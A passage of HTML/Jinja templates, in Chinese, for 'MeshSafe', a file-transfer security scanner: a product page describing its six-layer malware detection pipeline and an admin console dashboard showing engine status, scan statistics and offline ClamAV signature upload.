color: #94a3b8; font-weight: 600; margin-bottom: 7px;
}
.sec-head h2 {
margin: 0 0 8px; font-size: 23px; font-weight: 700; color: #0f172a; letter-spacing: -.3px;
}
.sec-head p { margin: 0; font-size: 14px; color: #64748b; line-height: 1.75; max-width: 820px; }
/* ===== 痛点叙事 ===== */
.story {
background: #fff; border: 1px solid #eef2f7; border-radius: 14px;
padding: 34px 38px; box-shadow: 0 1px 3px rgba(15,23,42,.05), 0 8px 26px rgba(15,23,42,.04);
}
.story p { margin: 0 0 15px; font-size: 14.5px; line-height: 1.95; color: #475569; }
.story p:last-child { margin-bottom: 0; }
.story .hl {
display: block; margin: 24px 0; padding: 20px 24px;
background: linear-gradient(100deg, #eff6ff 0%, #f5f3ff 100%);
border-left: 3px solid #3b82f6; border-radius: 8px;
font-size: 16px; font-weight: 650; color: #1e3a8a; line-height: 1.7;
}
.story .risk { color: #b91c1c; font-weight: 600; }
.story .fine { color: #64748b; font-weight: 400; }
/* ===== 能力大卡 ===== */
.cap-grid { display: grid; grid-template-columns: repeat(2, 1fr); gap: 18px; }
.cap {
background: #fff; border: 1px solid #eef2f7; border-radius: 14px; padding: 26px 28px;
box-shadow: 0 1px 3px rgba(15,23,42,.05), 0 8px 26px rgba(15,23,42,.035);
position: relative; overflow: hidden; transition: transform .2s, box-shadow .2s, border-color .2s;
}
.cap::after {
content: ""; position: absolute; inset: 0 0 auto 0; height: 3px;
background: linear-gradient(90deg, var(--c1), var(--c2));
opacity: .85;
}
.cap:hover {
transform: translateY(-3px);
box-shadow: 0 6px 14px rgba(15,23,42,.08), 0 18px 40px rgba(15,23,42,.07);
border-color: #dbe3ee;
}
.cap .ic {
width: 44px; height: 44px; border-radius: 12px; margin-bottom: 15px;
display: flex; align-items: center; justify-content: center; font-size: 21px;
background: var(--bg); color: var(--c1);
box-shadow: inset 0 0 0 1px rgba(15,23,42,.045);
}
.cap h3 { margin: 0 0 4px; font-size: 16.5px; font-weight: 700; color: #0f172a; }
.cap .cap-sub { margin: 0 0 12px; font-size: 12.5px; color: #94a3b8; letter-spacing: .2px; }
.cap p { margin: 0 0 14px; font-size: 14px; line-height: 1.85; color: #475569; }
.cap .detail {
margin: 0; padding-top: 13px; border-top: 1px dashed #e2e8f0;
font-size: 12.5px; line-height: 1.8; color: #64748b;
}
.cap .detail b { color: #334155; font-weight: 600; }
.cap .detail code {
background: #f1f5f9; padding: 1px 5px; border-radius: 4px;
font-family: ui-monospace, Menlo, Consolas, monospace; font-size: 11.5px; color: #b45309;
}
/* ===== 能力矩阵(引擎分层) ===== */
.layers { display: grid; gap: 10px; }
.layer {
display: flex; align-items: flex-start; gap: 16px;
background: #fff; border: 1px solid #eef2f7; border-radius: 11px; padding: 16px 20px;
box-shadow: 0 1px 2px rgba(15,23,42,.04);
}
.layer .lv {
flex-shrink: 0; width: 34px; height: 34px; border-radius: 9px;
display: flex; align-items: center; justify-content: center;
font-size: 12.5px; font-weight: 700; font-family: ui-monospace, Menlo, Consolas, monospace;
background: #f1f5f9; color: #475569;
}
.layer .lt { min-width: 118px; flex-shrink: 0; }
.layer .lt b { display: block; font-size: 14px; color: #1e293b; font-weight: 650; }
.layer .lt span { font-size: 11.5px; color: #94a3b8; }
.layer .ld { font-size: 13.5px; line-height: 1.75; color: #475569; }
.layer .ld b { color: #1e293b; font-weight: 600; }
/* ===== 架构小卡 ===== */
.arch-grid { display: grid; grid-template-columns: repeat(3, 1fr); gap: 16px; }
.arch {
background: #fff; border: 1px solid #eef2f7; border-radius: 12px; padding: 22px 24px;
box-shadow: 0 1px 3px rgba(15,23,42,.05);
transition: transform .18s, box-shadow .18s;
}
.arch:hover { transform: translateY(-2px); box-shadow: 0 6px 18px rgba(15,23,42,.08); }
.arch .ai { font-size: 20px; margin-bottom: 10px; }
.arch h4 { margin: 0 0 7px; font-size: 14.5px; font-weight: 650; color: #0f172a; }
.arch p { margin: 0; font-size: 12.8px; line-height: 1.8; color: #64748b; }
.arch p b { color: #334155; font-weight: 600; }
/* ===== 底部信息条 ===== */
.foot {
margin-top: 52px; padding: 22px 28px; border-radius: 12px;
background: linear-gradient(100deg, #0f172a 0%, #1e3a5f 100%);
color: rgba(255,255,255,.78); font-size: 13px; line-height: 1.9;
display: flex; flex-wrap: wrap; gap: 10px 40px; align-items: center;
}
.foot .brand { color: #fff; font-weight: 650; font-size: 14px; }
.foot .dot { color: rgba(255,255,255,.32); }
.foot b { color: #7dd3fc; font-weight: 600; }
@media (max-width: 900px) {
.cap-grid, .arch-grid { grid-template-columns: 1fr; }
.hero h1 { font-size: 32px; }
.layer { flex-direction: column; gap: 10px; }
.layer .lt { min-width: 0; }
}
</style>
</head>
<body>
{% set nav_active = 'about' %}
{% include "_nav.html" %}
<div class="hero">
<div class="hero-inner">
<div class="eyebrow">文件摆渡安全卫士</div>
<h1>MeshSafe <span class="grad">· 文件摆渡安全卫士</span></h1>
<p class="lead">
为内外网文件摆渡提供<b>零信任检测</b>能力。每一份传入的文件,在进入内部网络之前
都要经过 6 层引擎的交叉验证 —— 从文件结构完整性到病毒特征、从文档行为到二进制指令,
任何一层发现威胁,整份文件即刻终止通行。
</p>
<div class="tags">
<span>6 层引擎交叉检测</span>
<span>零容忍规则优先响应</span>
<span>真实文件类型识别</span>
<span>全链路审计追溯</span>
<span>完全离线可用</span>
<span>毫秒级响应</span>
</div>
</div>
</div>
<main>
<!-- ===== 用户痛点 ===== -->
<section>
<div class="sec-head">
<div class="kicker">The Challenge</div>
<h2>文件摆渡时,你真正担心的是什么?</h2>
<p>不是"这个文件有没有被杀毒软件报过毒"这么简单。真正让安全负责人睡不着的,往往是下面这些场景。</p>
</div>
<div class="story">
<p>
一份 ISO 镜像刚传入内网,里面藏着的木马就开始在机器上监听端口、拖走数据;
一份看似无害的 Word 文档,员工的电脑双击之后,VBA 宏悄悄把内网信息外发到公网;
一份压缩包里套着另一个压缩包,解压到第 5 层才露出真正的恶意载荷。
</p>
<p>
传统杀毒软件查不到这些 —— 它只认<span class="risk">已被收录的病毒特征</span>。
而真正针对关键基础设施的攻击早已越过这条线:把恶意程序伪装成 <code style="font-family:ui-monospace,Menlo,Consolas,monospace;font-size:12.5px;color:#b45309;">.txt.exe</code> 用双扩展名蒙混过关;
利用 USB 介质摆渡的 <code style="font-family:ui-monospace,Menlo,Consolas,monospace;font-size:12.5px;color:#b45309;">.lnk</code> 快捷方式劫持来劫持凭证;
在 PDF 里嵌入 JavaScript 打开远程恶意链接;在 Office 宏里做字符混淆绕过关键字检测。
</p>
<p>
更棘手的是<span class="fine">它不一定会触发任何告警</span>。文件顺利躺在内网服务器的某个目录里,
直到有一天有人双击了它。
</p>
<span class="hl">
MeshSafe 把风险挡在网络边界这一层 —— 让每一个传入的文件,先过一遍安全审判。
</span>
<p>
每一份文件都要依次通过结构完整性检测、病毒特征扫描、文档深度行为分析、
关键词匹配、YARA 规则匹配、PE/二进制分析 —— <b>6 层引擎交叉验证</b>。
命中"零容忍"特征的,<b>直接终止,不打分、不商量</b>。
即使是完全离线的内网环境,病毒特征库也能通过文件摆渡的方式持续更新,保持检测能力不衰减。
</p>
</div>
</section>
<!-- ===== 核心能力 ===== -->
<section>
<div class="sec-head">
<div class="kicker">Core Capabilities</div>
<h2>四个核心能力</h2>
<p>不是把功能点罗列一遍,而是回答四个你在实际运维中真正会问的问题。</p>
</div>
<div class="cap-grid">
<div class="cap" style="--c1:#3b82f6; --c2:#06b6d4; --bg:#eff6ff;">
<div class="ic">🛡️</div>
<h3>6 层引擎交叉检测</h3>
<p class="cap-sub">多层独立引擎 · 单引擎故障不中断整体扫描</p>
<p>
六个引擎各管一摊,横向覆盖不同威胁面。任何一个引擎抛出异常都被安全捕获,
<b>不会因为病毒库没加载或某个解析器出错而让整份扫描失败</b>,更不会因此把文件误放行。
</p>
<p class="detail">
<b>关键设计:</b>引擎异常时任务结论标记为 <code>error</code> 并按<b>拒绝</b>处理 —— 失败即拦截,绝不失败即放行。
</p>
</div>
<div class="cap" style="--c1:#ef4444; --c2:#f97316; --bg:#fef2f2;">
<div class="ic">⚡</div>
<h3>零容忍优先响应</h3>
<p class="cap-sub">20+ 条硬威胁规则 · 命中即拒</p>
<p>
有些特征不需要再算风险分 —— PDF 内嵌可执行 JavaScript、VBA 宏自动执行、
Linux ELF 可执行文件、LNK 快捷方式劫持、ISO 镜像内含可执行文件、路径穿越攻击,
命中任何一条,文件<b>当场终止</b>。
</p>
<p class="detail">
<b>与普通检测的区别:</b>零容忍规则绕过评分机制,不存在"分数高一点就放行"的情况。
</p>
</div>
<div class="cap" style="--c1:#8b5cf6; --c2:#d946ef; --bg:#f5f3ff;">
<div class="ic">🔍</div>
<h3>真实文件类型识别</h3>
<p class="cap-sub">不认扩展名 · 只看文件头魔数</p>
<p>
攻击者最容易钻的空子就是文件名 —— 把 <code style="font-family:ui-monospace,Menlo,Consolas,monospace;font-size:12.5px;color:#b45309;">payload.exe</code>
改名成 <code style="font-family:ui-monospace,Menlo,Consolas,monospace;font-size:12.5px;color:#b45309;">readme.txt</code>。
MeshSafe 直接读取文件头字节判断真实类型,与扩展名不符、双扩展名伪装、
危险可执行扩展名,统统识别出来。
</p>
<p class="detail">
<b>还覆盖:</b>压缩包结构安全预检、嵌套深度限制、解压总量上限(zip bomb 防护),
藏在压缩包里的第二层、第三层载荷同样会被拆开检测。
</p>
</div>
<div class="cap" style="--c1:#10b981; --c2:#14b8a6; --bg:#ecfdf5;">
<div class="ic">📝</div>
<h3>全链路审计追溯</h3>
<p class="cap-sub">哈希链防篡改 · 合规审计可查</p>
<p>
每次扫描的输入文件哈希、判定结论、命中规则明细、时间戳、来源渠道全部落库,
形成完整审计链。审计记录采用<b>哈希链</b>结构串联,任何一条被事后修改,
后续链路的校验立刻失效。
</p>
<p class="detail">
<b>合规价值:</b>等保测评、审计问询时"某个文件当时为什么被拦截",
可以直接调出完整判定过程,而不是靠回忆。
</p>
</div>
</div>
</section>
<!-- ===== 引擎分层 ===== -->
<section>
<div class="sec-head">
<div class="kicker">Detection Pipeline</div>
<h2>6 层检测管线</h2>
<p>每一层解决一类问题,层层递进不重复。</p>
</div>
<div class="layers">
<div class="layer">
<div class="lv">L0</div>
<div class="lt"><b>结构与完整性</b><span>Structure</span></div>
<div class="ld">识别真实文件类型、检出扩展名伪装与双扩展名、判定危险可执行扩展名、对压缩包做结构安全预检,拦截路径穿越与 zip bomb。</div>
</div>
<div class="layer">
<div class="lv">L1</div>
<div class="lt"><b>病毒特征</b><span>ClamAV</span></div>
<div class="ld">对接 ClamAV 病毒引擎做特征匹配,命中已知恶意样本直接判定恶意。病毒库可离线更新,完全不依赖外网。</div>
</div>
<div class="layer">
<div class="lv">L2</div>
<div class="lt"><b>文档深度分析</b><span>Document</span></div>
<div class="ld">解析 Office 宏、PDF 动作、OLE 嵌入对象、邮件附件等结构化内容,判断文档是否包含自动执行或外联行为。</div>
</div>
<div class="layer">
<div class="lv">L3</div>
<div class="lt"><b>关键词匹配</b><span>Keywords</span></div>
<div class="ld">在文本与脚本内容中匹配反弹 Shell、远程下载执行、凭据外传等高危行为模式,识别"无病毒但有恶意意图"的内容。</div>
</div>
<div class="layer">
<div class="lv">L4</div>
<div class="lt"><b>YARA 规则</b><span>YARA</span></div>
<div class="ld">加载自定义规则集匹配已知家族与自定义特征,规则可由安全团队随业务需要持续扩充,无需改代码。</div>
</div>
<div class="layer">
<div class="lv">L5</div>
<div class="lt"><b>PE/二进制分析</b><span>Binary</span></div>
<div class="ld">对可执行文件做指令级特征分析,识别加壳、混淆、可疑导入组合等静态分析可疑点,覆盖无签名但行为异常的程序。</div>
</div>
</div>
</section>
<!-- ===== 架构 ===== -->
<section>
<div class="sec-head">
<div class="kicker">Security Architecture</div>
<h2>为生产环境而生的架构</h2>
<p>安全能力不是叠加出来的,是从接入层到存储层贯穿设计的。</p>
</div>
<div class="arch-grid">
<div class="arch">
<div class="ai">🔐</div>
<h4>签名认证接入</h4>
<p>
每个调用方分配独立 <b>client_id + client_secret</b>,请求必须携带
<b>HMAC-SHA256 签名</b>。服务端用 HKDF 派生请求/响应双向独立密钥,
时间戳窗口 + 一次性 nonce 双重防重放,伪造请求进不来。
</p>
</div>
<div class="arch">
<div class="ai">🚦</div>
<h4>分层限流保护</h4>
<p>
扫描接口与非扫描接口<b>分别限流</b>,按调用方维度在 Redis 中滑动窗口计数,
多实例部署下计数依然准确。超限返回 429 与重试提示,不拖垮后端。
</p>
</div>
<div class="arch">
<div class="ai">🏗️</div>
<h4>高可用部署</h4>
<p>
多 worker 进程 + 数据库连接池 + 常驻病毒扫描守护进程,
并发扫描不阻塞事件循环。相同文件重复提交直接命中缓存秒级返回,不重复消耗算力。
</p>
</div>
</div>
</section>
<!-- ===== 底部信息 ===== -->
<section>
<div class="foot">
<span class="brand">MeshSafe</span>
<span>文件摆渡安全卫士</span>
<span class="dot">|</span>
<span>版本 <b>v1.0</b></span>
<span class="dot">|</span>
<span>完全离线部署可用</span>
<span class="dot">|</span>
<span>扫描结论与响应全程可验签</span>
</div>
</section>
</main>
</body>
</html>

View File

@@ -0,0 +1,503 @@
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="utf-8">
<link rel="icon" href="/static/logo.png">
<title>MeshSafe 控制台</title>
<style>
* { box-sizing: border-box; }
body { font-family: -apple-system, "PingFang SC", "Microsoft YaHei", sans-serif;
margin: 0; background: #f4f6fa; color: #1e293b; }
{% include "_nav_style.html" %}
main { padding: 24px; max-width: 1320px; margin: 0 auto; }
/* ===== 顶部标题栏 ===== */
.page-head { display: flex; align-items: flex-end; justify-content: space-between; margin-bottom: 20px; }
.page-head h1 { margin: 0 0 6px; font-size: 21px; font-weight: 700; letter-spacing: .3px; }
.page-head .sub { font-size: 13px; color: #64748b; }
.policy-chip {
display: inline-flex; align-items: center; gap: 8px;
background: #fff; border: 1px solid #e2e8f0; border-radius: 8px;
padding: 8px 14px; font-size: 12.5px; color: #475569;
box-shadow: 0 1px 3px rgba(0,0,0,.04);
}
.policy-chip b { color: #0f172a; }
.policy-chip code { color: #64748b; font-size: 11.5px; }
/* ===== 统计卡片行 ===== */
.stat-row { display: grid; grid-template-columns: repeat(5, 1fr); gap: 14px; margin-bottom: 22px; }
.stat {
background: #fff; border-radius: 12px; padding: 18px 20px;
box-shadow: 0 1px 3px rgba(15,23,42,.07), 0 6px 20px rgba(15,23,42,.04);
border: 1px solid #eef2f7; position: relative; overflow: hidden;
transition: transform .18s, box-shadow .18s;
}
.stat:hover { transform: translateY(-2px); box-shadow: 0 4px 10px rgba(15,23,42,.09), 0 12px 30px rgba(15,23,42,.07); }
.stat::before { content: ""; position: absolute; left: 0; top: 0; bottom: 0; width: 3px; }
.stat.s1::before { background: #3b82f6; } .stat.s2::before { background: #ef4444; }
.stat.s3::before { background: #f59e0b; } .stat.s4::before { background: #8b5cf6; }
.stat.s5::before { background: #10b981; }
.stat .s-label { font-size: 12.5px; color: #64748b; margin-bottom: 8px; display: flex; align-items: center; gap: 6px; }
.stat .s-value { font-size: 28px; font-weight: 700; color: #0f172a; line-height: 1.1; font-variant-numeric: tabular-nums; }
.stat .s-value .unit { font-size: 14px; font-weight: 500; color: #94a3b8; margin-left: 3px; }
.stat .s-foot { font-size: 11.5px; color: #94a3b8; margin-top: 7px; }
/* ===== 主内容两栏 ===== */
.cols { display: grid; grid-template-columns: 1fr 320px; gap: 18px; align-items: start; }
.panel {
background: #fff; border-radius: 12px; padding: 20px;
box-shadow: 0 1px 3px rgba(15,23,42,.07), 0 6px 20px rgba(15,23,42,.04);
border: 1px solid #eef2f7; margin-bottom: 18px;
}
.panel-head { display: flex; align-items: center; justify-content: space-between; margin-bottom: 16px; }
.panel-head h2 { margin: 0; font-size: 15px; font-weight: 600; color: #0f172a; display: flex; align-items: center; gap: 8px; }
.panel-head .hint { font-size: 12px; color: #94a3b8; }
/* ===== 引擎卡片 ===== */
.engine-grid { display: grid; grid-template-columns: repeat(3, 1fr); gap: 12px; }
.ecard {
border: 1px solid #e8edf4; border-radius: 10px; padding: 14px;
background: #fcfdff; transition: all .18s;
}
.ecard:hover { border-color: #c7d2fe; box-shadow: 0 4px 14px rgba(99,102,241,.1); }
.ecard .e-top { display: flex; align-items: center; gap: 9px; margin-bottom: 10px; }
.ecard .e-icon {
width: 30px; height: 30px; border-radius: 8px; flex-shrink: 0;
display: flex; align-items: center; justify-content: center; font-size: 15px;
background: #eff6ff; color: #3b82f6;
}
.ecard .e-name { font-size: 13.5px; font-weight: 600; color: #1e293b; line-height: 1.25; }
.ecard .e-ver { font-size: 11px; color: #94a3b8; font-family: monospace; }
.badge {
margin-left: auto; font-size: 11px; padding: 3px 9px; border-radius: 20px;
font-weight: 500; white-space: nowrap; flex-shrink: 0;
}
.badge.ok { background: #dcfce7; color: #15803d; }
.badge.error { background: #fee2e2; color: #b91c1c; }
.badge.degraded { background: #fef3c7; color: #b45309; }
.ecard .e-meta { font-size: 11.5px; color: #64748b; line-height: 1.7; }
.ecard .e-meta .k { color: #94a3b8; }
.ecard .e-meta .v { color: #334155; font-weight: 500; }
.ecard .e-err { margin-top: 8px; font-size: 11.5px; color: #b91c1c; background: #fef2f2;
padding: 6px 9px; border-radius: 6px; line-height: 1.5; }
.clamav-actions { margin-top: 11px; display: flex; gap: 7px; }
.clamav-actions button {
flex: 1; padding: 6px 8px; border: none; border-radius: 6px; cursor: pointer;
font-size: 11.5px; font-weight: 500; transition: all .18s;
}
.btn-online { background: #e0f2fe; color: #0369a1; }
.btn-online:hover { background: #bae6fd; }
.btn-upload { background: #dcfce7; color: #15803d; }
.btn-upload:hover { background: #bbf7d0; }
/* ===== 结论分布条 ===== */
.dist-bar { display: flex; height: 10px; border-radius: 6px; overflow: hidden; background: #f1f5f9; margin-bottom: 12px; }
.dist-bar span { display: block; height: 100%; }
.dist-bar .d-ok { background: #10b981; }
.dist-bar .d-warn { background: #f59e0b; }
.dist-bar .d-bad { background: #ef4444; }
.dist-bar .d-err { background: #8b5cf6; }
.dist-bar .d-muted { background: #94a3b8; }
.dist-legend { display: flex; flex-wrap: wrap; gap: 14px; }
.dist-legend .li { display: flex; align-items: center; gap: 6px; font-size: 12px; color: #64748b; }
.dist-legend .li .dot { width: 8px; height: 8px; border-radius: 3px; }
.dist-legend .li b { color: #1e293b; font-variant-numeric: tabular-nums; }
.dist-legend .li .pct { color: #94a3b8; font-size: 11px; }
/* ===== 渠道排行 ===== */
.rank-item { display: flex; align-items: center; gap: 10px; padding: 9px 0; border-bottom: 1px dashed #eef2f7; }
.rank-item:last-child { border-bottom: none; }
.rank-item .r-no {
width: 20px; height: 20px; border-radius: 5px; background: #eff6ff; color: #3b82f6;
font-size: 11px; font-weight: 700; display: flex; align-items: center; justify-content: center; flex-shrink: 0;
}
.rank-item .r-name { font-size: 12.5px; color: #1e293b; font-family: monospace; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; }
.rank-item .r-name small { display: block; font-family: -apple-system, "PingFang SC", sans-serif; color: #94a3b8; font-size: 11px; }
.rank-item .r-count { margin-left: auto; font-size: 13px; font-weight: 600; color: #334155; font-variant-numeric: tabular-nums; }
/* ===== 任务表 ===== */
table { width: 100%; border-collapse: collapse; }
th { background: #f8fafc; padding: 9px 12px; text-align: left; font-size: 11.5px;
color: #64748b; font-weight: 600; border-bottom: 1px solid #e8edf4; white-space: nowrap; }
td { padding: 10px 12px; font-size: 12.5px; border-bottom: 1px solid #f4f7fb; color: #334155; }
tr:last-child td { border-bottom: none; }
tbody tr:hover { background: #fafbfd; }
td.mono { font-family: ui-monospace, Menlo, Consolas, monospace; font-size: 11.5px; color: #64748b; }
td.fname { font-weight: 500; color: #1e293b; max-width: 220px; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; }
.link { color: #3b82f6; text-decoration: none; font-size: 12px; }
.link:hover { text-decoration: underline; }
.empty { text-align: center; color: #94a3b8; padding: 32px 0; font-size: 13px; }
/* ===== 模态框 ===== */
.modal-mask { display: none; position: fixed; inset: 0; background: rgba(15,23,42,.5);
z-index: 100; align-items: center; justify-content: center; }
.modal-mask.show { display: flex; }
.modal { background: white; border-radius: 14px; width: 480px; max-width: 90vw;
box-shadow: 0 24px 64px rgba(0,0,0,.28); overflow: hidden; }
.modal-header { background: linear-gradient(135deg, #0f172a, #1e3a5f); color: white; padding: 15px 20px;
font-size: 15px; font-weight: 500; display: flex; justify-content: space-between; align-items: center; }
.modal-header .close { cursor: pointer; opacity: .7; font-size: 22px; line-height: 1; }
.modal-header .close:hover { opacity: 1; }
.modal-body { padding: 20px; font-size: 13px; }
.modal-body p { margin: 8px 0; color: #555; }
.modal-body .hint { background: #fffbeb; border-left: 3px solid #f59e0b; padding: 11px 14px;
border-radius: 0 6px 6px 0; margin: 13px 0; font-size: 12px; color: #78350f; line-height: 1.7; }
.modal-body label { display: block; margin: 13px 0 6px; font-weight: 500; color: #333; }
.modal-body input[type="file"] { width: 100%; padding: 9px; border: 1.5px dashed #cbd5e1; border-radius: 8px; background: #f8fafc; }
.modal-body .result-box { margin-top: 13px; padding: 11px 14px; border-radius: 8px; font-size: 12px; display: none; white-space: pre-wrap; line-height: 1.7; }
.modal-body .result-box.show { display: block; }
.result-box.ok { background: #f0fdf4; color: #15803d; border: 1px solid #bbf7d0; }
.result-box.err { background: #fef2f2; color: #b91c1c; border: 1px solid #fecaca; }
.modal-footer { padding: 14px 20px; border-top: 1px solid #eef2f7; display: flex; justify-content: flex-end; gap: 8px; }
.modal-footer button { padding: 8px 20px; border: none; border-radius: 7px; cursor: pointer; font-size: 13px; font-weight: 500; }
.btn-primary { background: #1e3a5f; color: white; }
.btn-primary:hover { background: #152060; }
.btn-primary:disabled { background: #cbd5e1; cursor: not-allowed; }
.btn-secondary { background: #f1f5f9; color: #475569; }
.btn-secondary:hover { background: #e2e8f0; }
@media (max-width: 1150px) {
.stat-row { grid-template-columns: repeat(3, 1fr); }
.cols { grid-template-columns: 1fr; }
.engine-grid { grid-template-columns: repeat(2, 1fr); }
}
@media (max-width: 700px) {
.stat-row { grid-template-columns: repeat(2, 1fr); }
.engine-grid { grid-template-columns: 1fr; }
}
</style>
</head>
<body>
{% set nav_active = 'overview' %}{% include "_nav.html" %}
<main>
<!-- ===== 顶部标题 + 策略 ===== -->
<div class="page-head">
<div>
<h1>系统概览</h1>
<div class="sub">光闸摆渡文件安全检测 · 实时运行状态与统计</div>
</div>
<div class="policy-chip">
当前策略 <b>{{ policy_store.current().version }}</b>
<span>·</span>
<code>{{ policy_store.current().sha256[:16] }}</code>
</div>
</div>
<!-- ===== 统计卡片 ===== -->
<div class="stat-row">
<div class="stat s1">
<div class="s-label">📊 累计扫描</div>
<div class="s-value">{{ stats.total_scans }}<span class="unit">个文件</span></div>
<div class="s-foot">检测引擎处理总量</div>
</div>
<div class="stat s2">
<div class="s-label">🛑 拦截次数</div>
<div class="s-value">{{ stats.total_blocked }}<span class="unit">次</span></div>
<div class="s-foot">零容忍命中直接阻断</div>
</div>
<div class="stat s3">
<div class="s-label">⚠️ 检出问题</div>
<div class="s-value">{{ stats.total_findings }}<span class="unit">项</span></div>
<div class="s-foot">规则命中 findings 总数</div>
</div>
<div class="stat s4">
<div class="s-label">📋 规则总数</div>
<div class="s-value">{{ stats.total_rules }}<span class="unit">条</span></div>
<div class="s-foot">零容忍 {{ stats.zero_tolerance }} · YARA {{ stats.yara_rules }}</div>
</div>
<div class="stat s5">
<div class="s-label">⚡ 引擎在线</div>
<div class="s-value">{{ stats.engines_ok }}<span class="unit">/ {{ stats.engines_total }}</span></div>
<div class="s-foot">全部引擎可用则正常检测</div>
</div>
</div>
<!-- ===== 两栏主区 ===== -->
<div class="cols">
<div>
<!-- ===== 引擎状态 ===== -->
<div class="panel">
<div class="panel-head">
<h2>🧩 引擎状态</h2>
<span class="hint">{{ stats.engines_ok }} / {{ stats.engines_total }} 引擎在线</span>
</div>
<div class="engine-grid">
{% for h in engine_health %}
<div class="ecard">
<div class="e-top">
<div class="e-icon">{% if h.engine == 'structure' %}🗂️{% elif h.engine == 'clamav' %}🦠{% elif h.engine == 'document' %}📄{% elif h.engine == 'keywords' %}🔑{% elif h.engine == 'yara' %}🎯{% elif h.engine == 'binary' %}⚙️{% else %}🔧{% endif %}</div>
<div>
<div class="e-name">{{ h.display_name }}</div>
{% if h.engine_version_label %}<div class="e-ver">{{ h.engine_version_label }}</div>{% endif %}
</div>
<span class="badge {{ 'ok' if h.ok else ('error' if h.error else 'degraded') }}">{{ h.status_label or h.status }}</span>
</div>
<div class="e-meta">
{% if h.engine == 'clamav' %}
<div><span class="k">病毒库</span> <span class="v" id="clamav-sig-date">加载中...</span></div>
{% elif h.engine == 'yara' %}
<div><span class="k">规则库</span> <span class="v">{{ stats.yara_rules }} 条规则已加载</span></div>
{% elif h.engine == 'keywords' %}
<div><span class="k">特征词表</span> <span class="v">{{ policy_store.current().keyword_rules|length }} 条规则</span></div>
{% else %}
<div><span class="k">层级</span> <span class="v">{{ h.layer_label }}</span></div>
{% endif %}
</div>
{% if h.friendly_error %}
<div class="e-err">{{ h.friendly_error }}</div>
{% endif %}
{% if h.engine == 'clamav' %}
<div class="clamav-actions">
<button class="btn-online" onclick="clamavUpdate(this)">🔄 在线更新</button>
<button class="btn-upload" onclick="openUploadModal()">📤 上传签名库</button>
</div>
{% endif %}
</div>
{% endfor %}
</div>
</div>
<!-- ===== 检测结论分布 ===== -->
<div class="panel">
<div class="panel-head">
<h2>📈 检测结论分布</h2>
<span class="hint">共 {{ stats.total_scans }} 次扫描</span>
</div>
{% if verdict_items %}
<div class="dist-bar">
{% for v in verdict_items %}
<span class="d-{{ v.cls }}" style="width: {{ v.pct }}%" title="{{ v.label }} {{ v.pct }}%"></span>
{% endfor %}
</div>
<div class="dist-legend">
{% for v in verdict_items %}
<div class="li">
<span class="dot d-{{ v.cls }}"></span>
<span>{{ v.label }}</span>
<b>{{ v.count }}</b>
<span class="pct">{{ v.pct }}%</span>
</div>
{% endfor %}
</div>
{% else %}
<div class="empty">暂无扫描数据</div>
{% endif %}
</div>
<!-- ===== 最近扫描任务 ===== -->
<div class="panel">
<div class="panel-head">
<h2>🕐 最近扫描任务</h2>
<a class="link" href="/console/tasks">查看全部 →</a>
</div>
{% if recent_tasks %}
<table>
<thead>
<tr>
<th>时间</th><th>文件名</th><th>来源渠道</th><th>大小</th><th>结论</th><th>动作</th><th>分数</th><th></th>
</tr>
</thead>
<tbody>
{% for t in recent_tasks %}
<tr>
<td class="mono">{{ t.created_at|bj_clock if t.created_at else '' }}</td>
<td class="fname" title="{{ t.filename }}">{{ t.filename }}</td>
<td class="mono" title="{{ t.client_id }} / {{ t.channel }}">{{ t.channel|cn_channel or '-' }}</td>
<td class="mono">{{ (t.size / 1024)|round(1) if t.size else 0 }} KB</td>
<td><span class="tag {{ t.verdict|cn_verdict_badge }}" title="{{ t.verdict }}">{{ t.verdict|cn_verdict }}</span></td>
<td><span class="tag plain" title="{{ t.action }}">{{ t.action|cn_action }}</span></td>
<td class="mono">{{ t.score }}</td>
<td><a class="link" href="/console/tasks#task-{{ t.id }}">详情</a></td>
</tr>
{% endfor %}
</tbody>
</table>
{% else %}
<div class="empty">暂无扫描记录,先去 <a class="link" href="/console/test">测试靶场</a> 跑一批样本吧</div>
{% endif %}
</div>
</div>
<!-- ===== 右栏 ===== -->
<div>
<!-- 策略要点 -->
<div class="panel">
<div class="panel-head"><h2>🛡️ 策略要点</h2></div>
<div class="e-meta" style="font-size:12.5px; line-height:2;">
<div><span class="k">零容忍规则</span> <span class="v">{{ stats.zero_tolerance }} 条</span></div>
<div><span class="k">YARA 规则</span> <span class="v">{{ stats.yara_rules }} 条</span></div>
<div><span class="k">规则覆盖</span> <span class="v">{{ policy_store.current().rule_overrides|length }} 条</span></div>
<div><span class="k">拦截阈值</span> <span class="v">≥ {{ policy_store.current().block_score }} 分</span></div>
<div><span class="k">文件大小上限</span> <span class="v">{{ (policy_store.current().max_file_size / 1024 / 1024 / 1024)|round(2) }} GB</span></div>
</div>
</div>
<!-- 渠道排行 -->
<div class="panel">
<div class="panel-head">
<h2>🔗 摆渡来源 TOP</h2>
<span class="hint">按任务数</span>
</div>
{% if channel_rank %}
{% for c in channel_rank %}
<div class="rank-item">
<div class="r-no">{{ loop.index }}</div>
<div class="r-name">{{ c.channel|cn_channel }}<small>{{ c.client_id }}</small></div>
<div class="r-count">{{ c.count }}</div>
</div>
{% endfor %}
{% else %}
<div class="empty">暂无渠道数据</div>
{% endif %}
</div>
</div>
</div>
</main>
<!-- ========== 上传签名库模态框 ========== -->
<div class="modal-mask" id="uploadModal">
<div class="modal">
<div class="modal-header">
📤 离线导入 ClamAV 签名库
<span class="close" onclick="closeUploadModal()">×</span>
</div>
<div class="modal-body">
<p>选择需要更新的 ClamAV 签名库文件(可多选):</p>
<div class="hint">
💡 光闸内网无法联网,请先在<strong>外网电脑</strong>下载最新签名库,通过 U 盘/摆渡带进内网后上传。<br>
下载地址:<code>https://database.clamav.net/main.cvd</code> / <code>daily.cvd</code> / <code>bytecode.cvd</code><br>
clamd 会自动热加载新签名,无需重启。
</div>
<label>选择文件(.cvd / .cld):</label>
<input type="file" id="uploadFiles" multiple accept=".cvd,.cld,.ign2">
<div class="result-box" id="uploadResult"></div>
</div>
<div class="modal-footer">
<button class="btn-secondary" onclick="closeUploadModal()">取消</button>
<button class="btn-primary" id="uploadSubmitBtn" onclick="submitUpload()">确认上传</button>
</div>
</div>
</div>
<script>
// ========== ClamAV 病毒库信息加载 ==========
async function loadClamavInfo() {
const el = document.getElementById('clamav-sig-date');
if (!el) return;
try {
const resp = await fetch('/console/clamav/info', { credentials: 'same-origin' });
const data = await resp.json();
